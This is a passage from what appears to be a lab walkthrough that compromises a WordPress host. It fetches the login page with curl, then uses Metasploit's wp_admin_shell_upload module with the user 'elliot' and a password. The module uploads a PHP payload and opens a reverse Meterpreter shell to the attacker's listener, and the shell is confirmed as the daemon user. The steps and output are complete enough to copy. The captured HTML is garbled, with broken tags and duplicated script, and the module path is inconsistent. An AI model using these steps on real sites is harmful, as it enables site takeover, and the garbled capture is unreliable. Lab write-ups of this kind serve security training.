

```

<html><html>[-]
[4] curl https://192.168.29.184/wp-login.php
<!DOCTYPE html>
  <!--[[if lt IE 8]]
    <html xmlns="http://www.w3.org/1999/xhtml" class="ie6" lang="en-US">
  <![endif]-->
  <!--[[if (lt IE 6) || !!(.ie 6)]]
    <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
  <!--[[endif]]-->
  <!--[[endif]]-->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <title>WordPress Blog: WordPress Log In</title>
    <link rel="stylesheet" href="http://192.168.29.184/wp-includes/css/buttons.min.css?ver=4.3.1" type="text/css" media="all"/>
    <link rel="stylesheet" href="http://192.168.29.184/wp-includes/css/dashicons.min.css?ver=4.3.1" type="text/css" media="all"/>
    <link rel="stylesheet" href="http://192.168.29.184/wp-includes/css/dashicons.min.css?ver=4.3.1" type="text/css" media="all"/>
    <link rel="stylesheet" id="login-css" href="http://192.168.29.184/wp-admin/css/login.min.css?ver=4.3.1" type="text/css" media="all"/>
    <meta name="viewport" content="width=device-width, initial-scale=1"/>
  </head>
  <body class="login login-action-login wp-core-ui locale-en-us">
    <div id="login">
      <div class="href">https://wordpress.org/ title=Powered by WordPress tabindex="1">WordPress Blog</a>/h1>
    </div>
    <form name="loginform" id="loginform" action="http://192.168.29.184/wp-login.php" method="post">
      <div>
        <input type="text" name="log" id="user_login" class="input" value="" size="20"/><label>
      </div>
      <div>
        <input type="password" name="pwd" id="user_pass" class="input" value="" size="20"/><label>
      </div>
      <div>
        <input type="checkbox" name="rememberme" class="checkbox" value="checked" id="rememberme" value="forever"/> Remember Me</div></div>
      <div>
        <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In"/>
        <input type="button" name="redirect_to" value="http://192.168.29.184/wp-admin/" />
        <input type="button" name="textcookie" value="1"/>
      </div>
    </form>
    <div id="nav">
      <a href="http://192.168.29.184/wp-login.php?action=lostpassword" title="Password lost and found">lost your password?</a>
    </div>
    <script type="text/javascript">function wp_attempt_focus(){setTimeout(function(){try{document.getElementById( "user_login" ).focus();}catch(e){}});},200);
    function wp_attempt_focus(){if(typeof wp_login_hook != "function")wp_attempt_focus();}
    </script>
    <div id="backlog"><a href="http://192.168.29.184/" title="Are you lost?>Back to user89393's Blog</a>/>
  </div>
  </div>
  <div class="clear"></div>
</body>
</html>

```



Step 2: Launch Metasploit

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ msfconsole  
Metasploit tip: View missing module options with show missing  
  
# cowsay++  
< metasploit >  
  \  (oo)_____\    
   (-)         \   
    ||----w |   *  
  
=[ metasploit v6.4.64-dev ]  
+ -- ==[ 2519 exploits - 1296 auxiliary - 431 post ]  
+ -- ==[ 1610 payloads - 49 encoders - 13 nops ]  
+ -- ==[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > |
```

Step 3: Search and use WordPress Admin RCE Module

search wp_admin_shell_upload

use 0

```
msf6 > search wp_admin_shell_upload  
  
Matching Modules  
-----  
  
# Name Disclosure Date Rank Check Description  
- - - - -  
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload  
  
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload  
  
msf6 > use 0  
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp  
msf6 exploit(unix/webapp/wp_admin_shell_upload) >  
msf6 exploit(unix/webapp/wp_admin_shell_upload) > |
```

Step 4: Configure Target Details

```
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options  
  
Module options (exploit/unix/webapp/wp_admin_shell_upload):  
  
Name Current Setting Required Description  
- - - - -  
PASSWORD ER28-0652 yes The WordPress password to authenticate with  
Proxies no no A proxy chain of format type:host:port[,type:host:port][ ... ]  
RHOSTS 192.168.29.184 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 80 yes The target port (TCP)  
SSL false no Negotiate SSL/TLS for outgoing connections  
TARGETURI / yes The base path to the wordpress application  
USERNAME elliot yes The WordPress username to authenticate with  
VHOST no no HTTP server virtual host  
  
Payload options (php/meterpreter/reverse_tcp):  
  
Name Current Setting Required Description  
- - - - -  
LHOST 192.168.29.173 yes The listen address (an interface may be specified)  
LPORT 4444 yes The listen port  
  
Exploit target:  
  
Id Name  
--  
0 WordPress  
  
View the full module info with the info, or info -d command.
```



set RHOSTS 192.168.29.184

set TARGETURI /

set USERNAME elliot

set PASSWORD ER28-0652

set LHOST 192.168.29.173

set LPORT 4444

set WPCHECK false

run

Step 5: Successful Exploitation Output

```
msf6 exploit(multi/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.29.173:4444
[*] Authenticating with WordPress using elliot:ER28-0652 ...
[*] Authenticated with WordPress
[*] Preparing payload ...
[*] Uploading payload ...
[*] Executing the payload at /wp-content/plugins/yVkcckIAWtg/oaRcTwvmHQ.php ...
[*] Sending stage (40004 bytes) to 192.168.29.184
[*] Meterpreter session 1 opened (192.168.29.173:4444 → 192.168.29.184:55965) at 2026-01-14 02:45:31 -0500
[!] This exploit may require manual cleanup of 'oaRcTwvmHQ.php' on the target
[!] This exploit may require manual cleanup of 'yVkcckIAWtg.php' on the target
[!] This exploit may require manual cleanup of '..yVkcckIAWtg' on the target

meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter > shell
Process 1914 created.
Channel 0 created.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```